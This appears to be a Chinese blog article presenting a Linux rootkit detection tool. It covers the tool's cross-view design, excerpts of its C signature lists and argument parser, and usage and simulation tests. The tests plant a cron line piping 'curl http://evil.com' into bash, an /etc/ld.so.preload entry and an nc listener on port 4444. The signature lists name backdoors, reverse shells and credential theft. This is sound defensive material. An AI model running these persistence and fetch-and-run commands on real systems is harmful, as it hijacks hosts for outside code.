暗影猎手:从零打造Linux内核级威胁检测引擎

当攻击者已经扎根内核,常规的安全工具往往形同虚设。本文将拆解一款面向实战的Linux内核威胁检测工具,看它如何用"交叉验证"的朴素思想,在系统最深处追捕那些看不见的敌人。

一、为什么叫"暗影猎手"?

这个名字想表达两层意思:

"暗影" ------ 指的是Rootkit这类恶意软件的生存方式。它们不像勒索软件那样大张旗鼓,而是像影子一样潜伏在系统底层,篡改内核数据结构、Hook系统调用、隐藏进程和文件,让管理员看到的"一切正常"都是精心伪造的幻象。

"猎手" ------ 指的是这款工具的定位。它不是被动等待告警的防火墙,而是主动深入系统各个角落的取证工具。从用户态到内核态,从内存到启动链,从传统LKM到新兴eBPF,它像猎手一样追踪每一个异常痕迹。

说白了,这就是一个**专门抓"看不见的东西"**的工具。


二、它到底能抓什么?

根据代码和项目资料,这款工具的签名库覆盖了200多种已知威胁,检测维度横跨7大模块:

检测模块 抓什么 典型威胁
进程隐藏 从/proc消失的进程 Reptile、Diamorphine
内核模块 恶意LKM、隐藏模块 Suterusu、Kovid
库注入 LD_PRELOAD劫持 Jynx、Azazel
网络后门 隐蔽监听端口、异常连接 各类反向Shell
eBPF威胁 恶意BPF程序 ebpfkit、Boopkit
内存取证 注入代码、RWX内存 无文件攻击
持久化 后门定时任务、服务 Cron后门、Systemd植入
容器安全 容器逃逸、特权滥用 Siloscape、TeamTNT

特别值得一提的是它对APT级威胁的覆盖------Turla、Equation Group、Lazarus、Winnti这些国家级攻击组织的工具特征也被纳入了检测范围。这意味着它不只是抓"脚本小子"的玩具,而是能对抗专业对手的工业级工具。


三、核心设计思路:没有银弹,只有交叉验证

传统杀毒软件靠"特征码"吃饭,但Rootkit最擅长的就是让你看不到特征码 。这款工具的设计哲学是:单一数据源不可信,交叉验证才可靠

3.1 进程检测:/proc 目录 vs kill() 系统调用

这是最经典的交叉验证案例。

Rootkit通常会Hook readdir()getdents() 系统调用,让 /proc 目录里看不到恶意进程。但Hook kill() 要困难得多------因为kill(pid, 0)这个调用太简单了,只是检查进程是否存在,很多Rootkit作者会忽略它。

复制代码
┌─────────────────┐
│  读取 /proc 目录  │ ← 可能被Hook,数据不可信
│  统计进程数量     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  遍历 PID 范围   │ ← 用kill(pid, 0)验证
│  验证进程存在性   │   更难被欺骗
└────────┬────────┘
         │
    ┌────┴────┐
    │         │
    ▼         ▼
┌────────┐ ┌──────────────┐
│ /proc  │ │ /proc 不存在  │
│ 存在   │ │ 但kill成功!   │
│ 正常   │ │ → 隐藏进程!   │
└────────┘ └──────────────┘

代码核心逻辑 就是:如果 kill(pid, 0) 返回成功(进程存在),但 /proc/pid 目录却访问不到,那这个进程就是被刻意隐藏的,直接报CRITICAL级别告警。

3.2 模块检测:/proc/modules vs /sys/module

恶意内核模块可能从 lsmod 的输出中消失(通过从内核模块链表中摘除自己),但 /sys/module/ 下的kobject往往还留着------因为清理这个需要更复杂的操作。

工具会同时读取这两个来源,如果发现某个模块在 /proc/modules 里存在但 /sys/module 下没有对应目录,或者反过来,就判定为"隐藏模块"。

3.3 内存取证:RWX权限区域扫描

正常程序很少需要同时具有**读®、写(W)、执行(X)**权限的内存页。但注入的Shellcode或动态加载的恶意库常常需要这种权限。

工具遍历所有进程的 /proc/pid/maps,寻找同时具备 rwx 权限的内存区域,特别是那些:

  • 匿名映射(没有对应文件)
  • 标记为 deleted 的文件映射
  • 位于 /tmp/dev/shm 等临时目录

这些区域极可能是无文件攻击内存注入的痕迹。


四、代码实现原理图解

c 复制代码
static const char *LKM_ROOTKITS[] = {
    
    "singularity", "reptile", "diamorphine", "suterusu", "kovid",
    "nurupo", "bdvl", "beurk", "azazel", "jynx2", "vlany",
    "horsepill", "drovorub", "facefish", "skidmap", "pandora",
    "umbreon", "keysniffer", "r77", "fontanini", "kbeast",
    "rkspotter", "rkorova", "khook", "lkm_rootkit", "nuk3gh0st",
    "icehide", "brokepkg", "reveng_rtkit", "medusa_lkm",
    "spectre_lkm", "phantom_lkm", "venom_rootkit", "hydra_lkm",
    
    
    "adore", "adore-ng", "knark", "synapsys", "heroine",
    "suckit", "shv4", "shv5", "shv6", "rkit", "rkh", "lrk", "lrk3",
    "lrk4", "lrk5", "lrk6", "t0rn", "ambient", "phalanx",
    "phalanx2", "phantasmagoria", "snakso", "mood-nt",
    "override", "rial", "rsha", "enyelkm", "kbdv3",
    "superkit", "all-root", "kbd-mod", "hp-ux", "solaris_module",
    "kis", "lvtes", "moodnt", "optic_kit", "ramen", "omega",
    
    
    "turla", "uroburos", "snake", "carbon", "penquin", "penguin_turla",
    "equation", "equationgroup", "regin", "hive", "bvp47", "dirtycow_lkm",
    "drovorub_kernel", "winnti_lkm", "lazarus_lkm", "apt28_lkm",
    "apt29_lkm", "cozy_duke", "fancy_bear", "sandworm_lkm",
    "sofacy", "grizzly_steppe", "energetic_bear", "palmetto_fusion",
    "lightning_framework", "symbiote", "orbit_lkm", "shikitega",
    
    
    "ebpfkit", "pamspy", "boopkit", "bad_bpf", "bpf_rootkit",
    "triton_ebpf", "ebpf_exfil", "bpfdoor", "bpf_backdoor",
    NULL
};

static const char *USERLAND_ROOTKITS[] = {
    "jynx", "jynx2", "jynx3", "azazel", "azazel2", "vlany", "beurk",
    "bdvl", "bdvl2", "libprocesshider", "apache_backdoor", "cub3",
    "erebus", "ld_poison", "preload_hook", "prochide", "processhider",
    "umbreon_user", "libc_hook", "glibc_hook", "libselinux_fake",
    "fakeld", "evil_preload", "stealth_preload", "rootsh",
    "ld_backdoor", "libmimikatz", "pam_backdoor", "nss_backdoor",
    "openssh_backdoor", "libkeyutils_backdoor", "xorddos_preload",
    "chinaz_preload", "setuid_backdoor", "setgid_backdoor",
    NULL
};

static const char *BOOTKITS[] = {
    /* Modern UEFI */
    "blacklotus", "cosmicstrand", "moonbounce", "especter", "vector_edk",
    "lojax", "finspy_bootkit", "mosaic_regressor", "trickbot_uefi",
    "thunderstrike", "thunderstrike2", "hacking_team_uefi",
    "lighteater", "dreamboot", "rkloader", "uefi_implant",
    
    /* Legacy MBR/VBR */
    "rovnix", "carberp", "tdss", "tdl", "tdl2", "tdl3", "tdl4",
    "olmarik", "sinowal", "torpig", "mebroot", "stoned", "stone",
    "alureon", "gapz", "bootrash", "bootkit", "vbootkit",
    "grayfish", "finfisher_bootkit", "hdroot", "nemesis",
    "petya_bootkit", "satana", "cidox", "pihar", "zeroaccess",
    NULL
};

static const char *CONTAINER_ROOTKITS[] = {
    /* Cryptomining */
    "kinsing", "teamtnt", "watchdog", "graboid", "pro_ocean",
    "lemon_duck", "z0miner", "xanthe", "cetus", "autom",
    

    "doki", "hildegard", "siloscape", "azurescape", "cr8escape",
    "kubernetes_backdoor", "docker_escape", "cgroup_escape",
    "container_drift", "malicious_admission", "pod_escape",
    "kube_hunter_exp", "peirates", "kubeletctl_exp",
    

    "awscli_backdoor", "gcp_backdoor", "azure_backdoor",
    "cloud_credential_stealer", "metadata_thief", "imds_exfil",
    NULL
};

static const char *EBPF_THREATS[] = {
    "bpf_probe_write_user", "bpf_override_return", "bpf_send_signal",
    "bpf_sys_bpf", "tracepoint_probe", "kprobe_hijack",
    "xdp_drop_stealth", "tc_redirect_hidden", "cgroup_skb_hidden",
    "raw_tracepoint_backdoor", "fentry_hook", "fexit_hook",
    "bpf_map_hidden", "ringbuf_exfil", "perfbuf_exfil",
    NULL
};

static const char *SUSPICIOUS_MODULES[] = {
    "rootkit", "hidden", "stealth", "invisible", "hide", "hider",
    "cloak", "phantom", "ghost", "shadow", "backdoor", "shell",
    "keylog", "sniffer", "hook", "inject", "hijack", "hijacker",
    "intercept", "bypass", "elevate", "escalate", "priv", "privilege",
    "syscall_hook", "vfs_hook", "netfilter_hook", "ipt_hook",
    "xor_key", "decrypt_mod", "crypt_mod", "encode_mod",
    "rev_shell", "bind_shell", "remote_access", "rat_mod", "c2_mod",
    "miner", "cryptominer", "xmrig_mod", "monero_mod", "coin_mod",
    "exfil", "data_steal", "cred_dump", "passwd_grab",
    NULL
};

static const int SUSPICIOUS_PORTS[] = {
    31337, 31338, 12345, 12346, 27374, 27665, 20034, 1243,
    6667, 6666, 6668, 6669,  /* IRC */
    4444, 4445, 5555, 5554,  /* Metasploit default */
    8080, 8443, 9001, 9030,  /* Tor/proxies */
    2222, 2223, 3333, 1337,  /* Alt SSH/misc */
    41524, 55553, 50050,     /* RATs */
    6697, 7000, 9999, 65535, /* Various */
    0
};

typedef struct {
    const char *name;
    const unsigned char *pattern;
    size_t offset;
    size_t len;
    int severity;
} signature_t;

static const signature_t FILE_SIGNATURES[] = {
    {"Reptile LKM", (const unsigned char*)"reptile", 0, 7, SEV_CRITICAL},
    {"Diamorphine", (const unsigned char*)"diamorphine", 0, 11, SEV_CRITICAL},
    {"Suterusu", (const unsigned char*)"suterusu", 0, 8, SEV_CRITICAL},
    {"Kovid LKM", (const unsigned char*)"kovid", 0, 5, SEV_CRITICAL},
    {"Jynx2", (const unsigned char*)"JYNX2", 0, 5, SEV_CRITICAL},
    {"Azazel", (const unsigned char*)"AZAZEL", 0, 6, SEV_CRITICAL},
    {"BDVl", (const unsigned char*)"bdvl", 0, 4, SEV_CRITICAL},
    {"Singularity", (const unsigned char*)"singularity", 0, 11, SEV_CRITICAL},
    {"Drovorub", (const unsigned char*)"drovorub", 0, 8, SEV_CRITICAL},
    {"eBPFkit", (const unsigned char*)"ebpfkit", 0, 7, SEV_CRITICAL},
    {"BPFDoor", (const unsigned char*)"bpfdoor", 0, 7, SEV_CRITICAL},
    {"Symbiote", (const unsigned char*)"symbiote", 0, 8, SEV_CRITICAL},
    {NULL, NULL, 0, 0, 0}
};

static const char *SUSPICIOUS_DIRS[] = {
    "/dev/shm/.", "/tmp/.", "/var/tmp/.", "/run/.",
    "/.hidden", "/root/.", "/.cache/.",
    "/dev/.blkid", "/dev/.udev", "/dev/.initramfs",
    "/usr/share/.", "/usr/lib/.", "/lib/.",
    "/etc/.", "/var/lib/.", "/opt/.",
    NULL
};
static const char *INTEGRITY_FILES[] = {
    "/bin/ls", "/bin/ps", "/bin/netstat", "/bin/ss",
    "/bin/login", "/bin/su", "/bin/sudo", "/bin/passwd",
    "/usr/bin/ssh", "/usr/bin/sshd", "/usr/bin/top",
    "/usr/bin/find", "/usr/bin/lsof", "/usr/bin/w",
    "/sbin/ifconfig", "/sbin/init", "/sbin/insmod",
    "/sbin/modprobe", "/sbin/rmmod", "/sbin/lsmod",
    "/lib/x86_64-linux-gnu/libc.so.6",
    "/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",
    "/lib/x86_64-linux-gnu/libpam.so.0",
    NULL
};

static const char *HIJACK_LIBS[] = {
    "libkeyutils.so", "libselinux.so", "libcrypt.so",
    "libc.so.6", "libdl.so.2", "libpthread.so.0",
    "libpam.so", "libnss_files.so", "libnss_compat.so",
    "libsystemd.so", "libutil.so", "libcap.so",
    NULL
};

static const char *PROC_HIDING_INDICATORS[] = {
    "/proc/sys/kernel/modules_disabled",
    "/proc/sys/kernel/kptr_restrict",
    "/sys/module/*/holders",
    "/sys/kernel/debug/tracing/available_filter_functions",
    NULL
};
...
int main(int argc, char *argv[]) 
{

    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
            print_usage(argv[0]);
            return 0;
        } else if (strcmp(argv[i], "--version") == 0) {
            printf("Rupurt v%s - Advanced Rootkit Hunter\n", VERSION);
            printf("Signatures: 200+ rootkits, bootkits, eBPF threats\n");
            return 0;
        } else if (strcmp(argv[i], "-a") == 0 || strcmp(argv[i], "--all") == 0) {
            run_all = 1;
        } else if (strcmp(argv[i], "-q") == 0 || strcmp(argv[i], "--quick") == 0) {
            run_quick = 1;
        } else if (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--processes") == 0) {
            run_procs = 1;
        } else if (strcmp(argv[i], "-m") == 0 || strcmp(argv[i], "--modules") == 0) {
            run_modules = 1;
        } else if (strcmp(argv[i], "-f") == 0 || strcmp(argv[i], "--files") == 0) {
            run_files = 1;
        } else if (strcmp(argv[i], "-n") == 0 || strcmp(argv[i], "--network") == 0) {
            run_network = 1;
        } else if (strcmp(argv[i], "-s") == 0 || strcmp(argv[i], "--syscalls") == 0) {
            run_syscalls = 1;
        } else if (strcmp(argv[i], "-b") == 0 || strcmp(argv[i], "--boot") == 0) {
            run_boot = 1;
        } else if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "--container") == 0) {
            run_container = 1;
        } else if (strcmp(argv[i], "-e") == 0 || strcmp(argv[i], "--persistence") == 0) {
            run_persistence = 1;
        } else if (strcmp(argv[i], "-M") == 0 || strcmp(argv[i], "--memory") == 0) {
            run_memory = 1;
        } else if (strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "--ebpf") == 0) {
            run_ebpf = 1;
        } else if (strcmp(argv[i], "-I") == 0 || strcmp(argv[i], "--integrity") == 0) {
            run_integrity = 1;
        } else if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) {
            opt_verbose = 1;
        } else if (strcmp(argv[i], "-Q") == 0 || strcmp(argv[i], "--quiet") == 0) {
            opt_quiet = 1;
        } else if (strcmp(argv[i], "-j") == 0 || strcmp(argv[i], "--json") == 0) {
            opt_json = 1;
        } else if (strcmp(argv[i], "-d") == 0 || strcmp(argv[i], "--deep") == 0) {
            opt_deep_scan = 1;
        } else if ((strcmp(argv[i], "-l") == 0 || strcmp(argv[i], "--log") == 0) && i + 1 < argc) {
            log_path = argv[++i];
        }
    }
    
    if (!run_quick && !run_procs && !run_modules && !run_files && 
        !run_network && !run_syscalls && !run_boot && !run_container &&
        !run_persistence && !run_memory && !run_ebpf && !run_integrity) {
        run_all = 1;
    }
    
    if (log_path) {
        log_file = fopen(log_path, "w");
        if (!log_file) {
            fprintf(stderr, "Cannot open log file: %s\n", log_path);
        } else {
            time_t now = time(NULL);
            fprintf(log_file, "Rupurt v%s - Scan started at %s\n", VERSION, ctime(&now));
        }
    }
    
    if (!opt_quiet && !opt_json) {
        printf("%s", BANNER);
    }
    
    if (geteuid() != 0) {
        print_warn("Running without root - some checks may be limited");
    }
    
    stats.start_time = time(NULL);
    
    if (!opt_quiet && !opt_json) {
        struct utsname uts;
        if (uname(&uts) == 0) {
            print_info("System: %s %s %s", uts.sysname, uts.release, uts.machine);
        }
        print_info("Starting rootkit scan...");
    }
    
    if (run_all || run_quick || run_procs) {
        check_hidden_processes();
    }
    
    if (run_all || run_quick) {
        check_ld_preload();
    }
    
    if (run_all || run_quick || run_modules) {
        check_kernel_modules();
    }
    
    if (run_all || run_files) {
        check_rootkit_files();
    }
    
    if (run_all || run_network) {
        check_network_backdoors();
    }
    
    if (run_all || run_syscalls) {
        check_syscall_hooks();
    }
    
    if (run_all || run_ebpf) {
        check_ebpf_programs();
    }
    
    if (run_all || run_boot) {
        check_boot_integrity();
    }
    
    if (run_all || run_container) {
        check_container_security();
    }
    
    if (run_all || run_persistence) {
        check_persistence();
    }
    
    if (run_all || run_integrity) {
        check_file_integrity();
    }
    
    if (run_all || run_memory) {
        check_memory_signatures();
    }
    

    print_summary();
    
    if (log_file) {
        time_t now = time(NULL);
        fprintf(log_file, "\nScan completed at %s", ctime(&now));
        fprintf(log_file, "Summary: %d critical, %d high, %d medium, %d low\n",
                stats.critical, stats.high, stats.medium, stats.low);
        fclose(log_file);
        if (!opt_quiet && !opt_json) {
            print_info("Results logged to: %s", log_path);
        }
    }
    
    return stats.critical > 0 ? 2 : (stats.high > 0 ? 1 : 0);
}

If you need the complete source code, please add the WeChat number (c17865354792)

4.1 整体架构流程

复制代码
┌─────────────────────────────────────────────┐
│                    启动入口                    │
│         解析参数 → 初始化统计结构               │
└────────┬──────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────┐
│              检测模块调度器                    │
│  ┌─────┐┌────┐┌────┐┌────┐┌────┐┌────┐    │
│  │进程 ││模块││文件││网络││持久││内存│    │
│  │隐藏 ││分析││扫描││检测││化  ││取证│    │
│  └─────┘└────┘└────┘└────┘└────┘└────┘    │
└────────┬────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────┐
│              威胁评估与分级                    │
│  CRITICAL → HIGH → MEDIUM → LOW → INFO     │
└────────┬────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────┐
│              结果汇总输出                      │
│  控制台(彩色) / JSON / 日志文件               │
└─────────────────────────────────────────────┘

4.2 LD_PRELOAD 劫持检测流程

复制代码
┌─────────────────┐
│ 检查环境变量     │
│ LD_PRELOAD      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 检查 /etc/ld.so │
│ .preload 文件   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 遍历加载的库     │
│ /proc/self/maps │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 检查可疑路径     │
│ /tmp /dev/shm   │
│ /var/tmp 等     │
└────────┬────────┘
    ┌────┴────┐
    │         │
    ▼         ▼
┌────────┐ ┌──────────────┐
│ 无异常  │ │ 发现劫持!    │
│        │ │ HIGH/CRIT    │
└────────┘ └──────────────┘

4.3 网络后门检测流程

复制代码
┌─────────────────┐
│ 读取 /proc/net  │
│ tcp/tcp6/raw    │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 解析连接状态     │
│ local_port      │
│ remote_port     │
│ state           │
└────────┬────────┘
    ┌────┴────┐
    │         │
    ▼         ▼
┌────────┐ ┌──────────────┐
│ LISTEN │ │ ESTABLISHED  │
│ (0x0A) │ │ (0x01)      │
└───┬────┘ └──────┬───────┘
    │             │
    ▼             ▼
┌────────┐   ┌──────────────┐
│端口在白 │   │ 端口在白名单? │
│名单?    │   │ 4444等       │
│31337等  │   └──────┬───────┘
└───┬────┘          │
┌───┴───┐      ┌────┴────┐
│       │      │         │
▼       ▼      ▼         ▼
正常   命中!  正常      命中!
      HIGH            HIGH
      后门            可疑

五、涉及的技术领域总结

这款工具虽然代码量不大,但横跨了Linux系统安全的多个核心领域:

5.1 Linux内核架构

  • /proc 伪文件系统:进程信息、模块列表、网络状态都从这里读取
  • /sys 文件系统:内核对象、模块参数、调试信息的暴露接口
  • 系统调用机制 :理解Rootkit如何Hook sys_call_table
  • LKM机制:可加载内核模块的加载、卸载、隐藏原理
  • eBPF子系统:BPF_PROG_LOAD、BPF_MAP_CREATE等新兴攻击面

5.2 进程管理与内存管理

  • PID命名空间:容器隔离与进程隐藏的关系
  • 进程内存映射:/proc/pid/maps的解析与含义
  • ELF文件格式:验证系统二进制是否被篡改(Magic: 0x7f ELF)
  • 动态链接器:ld-linux的工作原理,PLT/GOT表机制

5.3 网络安全

  • TCP连接状态机:/proc/net/tcp的十六进制状态解析(0x0A=LISTEN)
  • 原始套接字:RAW_SOCKET、PACKET_SOCKET的滥用检测
  • Netfilter框架:iptables钩子被篡改的检测思路

5.4 容器与云安全

  • 容器逃逸技术:privileged模式、docker.sock挂载、cgroup逃逸
  • Kubernetes安全:ServiceAccount令牌滥用、RBAC配置审计
  • 云元数据服务:IMDS(Instance Metadata Service)窃取攻击

5.5 取证与威胁情报

  • 交叉视图分析:多数据源对比发现不一致性
  • 签名匹配技术:字符串匹配、二进制特征码、哈希校验
  • 持久化机制:Cron、Systemd、SSH authorized_keys、rc.local等
  • UEFI/启动链安全:Secure Boot、GRUB完整性、Initramfs监控

5.6 安全工程实践

  • 最小权限原则:非root运行时的功能降级与提示
  • 日志分级设计:CRITICAL/HIGH/MEDIUM/LOW/INFO五级分类
  • 多格式输出:彩色终端(ANSI转义码)、JSON(SIEM集成)、日志文件
  • 返回码语义:0=干净、1=高风险、2=已沦陷,便于自动化脚本集成

六、实战中的使用场景

场景1:服务器被入侵后的应急排查

机器行为异常但找不到可疑进程?运行全量扫描,重点看进程隐藏内存取证模块。如果kill()能探测到进程但/proc里看不到,基本可以确定有内核级Rootkit。

场景2:容器环境安全审计

在K8s集群中运行容器安全扫描,检查是否有特权容器docker.sock挂载可疑的ServiceAccount权限。这些往往是容器逃逸的前兆。

场景3:eBPF新型威胁检测

随着eBPF攻击工具(如ebpfkit、Boopkit)的兴起,传统基于LKM的检测方法失效。工具的eBPF分析模块 通过遍历 /proc/*/fdinfo 查找BPF程序类型,识别异常加载的BPF程序。

场景4:自动化安全巡检

配合 --json 输出和返回码,可以集成到CI/CD流水线或定时任务中。返回码2直接触发告警,返回码1记录日志人工复核。


七、运行方式

bash 复制代码
# 查看帮助
./rupurt -h

# 全量扫描(默认,不需要参数)
sudo ./rupurt

# 快速扫描(只查进程、模块、预加载)
sudo ./rupurt -q

# 指定模块扫描
sudo ./rupurt -p    # 只查隐藏进程
sudo ./rupurt -m    # 只查内核模块
sudo ./rupurt -f    # 只查可疑文件
sudo ./rupurt -n    # 只查网络后门
sudo ./rupurt -E    # 只查eBPF
sudo ./rupurt -e    # 只查持久化机制

# 输出控制
sudo ./rupurt -v              # 详细模式
sudo ./rupurt -Q              # 静默模式(只显示告警)
sudo ./rupurt -j > report.json # JSON输出,方便自动化
sudo ./rupurt -l scan.log     # 写日志文件
sudo ./rupurt -d              # 深度扫描(更慢但更彻底)

# 组合示例
sudo ./rupurt -a -d -v -l full_scan.log

返回码含义

  • 0 = 系统干净
  • 1 = 发现HIGH级别威胁,需要调查
  • 2 = 发现CRITICAL级别威胁,系统可能已沦陷

模拟测试(在测试环境验证检测能力)

场景1:模拟LD_PRELOAD劫持

bash 复制代码
export LD_PRELOAD=/tmp/fake_lib.so
./rupurt -q
# 预期输出:检测到 LD_PRELOAD 被设置
unset LD_PRELOAD

场景2:模拟/etc/ld.so.preload劫持

bash 复制代码
echo "/tmp/malicious.so" | sudo tee /etc/ld.so.preload
sudo ./rupurt -q
# 预期输出:检测到可疑预加载库
sudo rm /etc/ld.so.preload

场景3:模拟可疑网络端口

bash 复制代码
nc -l 4444 &
sudo ./rupurt -n
# 预期输出:检测到可疑监听端口 4444
kill %1

场景4:模拟可疑文件

bash 复制代码
sudo mkdir /dev/.test_hidden
sudo touch /dev/.test_hidden/backdoor
sudo chmod +x /dev/.test_hidden/backdoor
sudo ./rupurt -f
# 预期输出:检测到隐藏目录和可执行文件
sudo rm -rf /dev/.test_hidden

场景5:模拟持久化后门

bash 复制代码
echo "* * * * * root curl http://evil.com | bash" | sudo tee /etc/cron.d/suspicious
sudo ./rupurt -e
# 预期输出:检测到可疑的 pipe to bash
sudo rm /etc/cron.d/suspicious

场景6:模拟可疑Systemd服务

bash 复制代码
cat << 'EOF' | sudo tee /etc/systemd/system/suspicious.service
[Unit]
Description=Test
[Service]
ExecStart=/dev/shm/.hidden/malware
[Install]
WantedBy=multi-user.target
EOF
sudo ./rupurt -e
# 预期输出:检测到可疑Systemd服务
sudo rm /etc/systemd/system/suspicious.service

总结

这款工具的价值不在于它用了多么高深的技术,而在于它把**"交叉验证"**这个朴素的思想贯彻到了极致。当攻击者能够Hook系统调用、篡改内核数据结构时,单一的信息源已经不可信。只有通过多个独立渠道获取信息并对比差异,才能发现那些被精心隐藏的威胁。

Welcome to follow WeChat official account【程序猿编码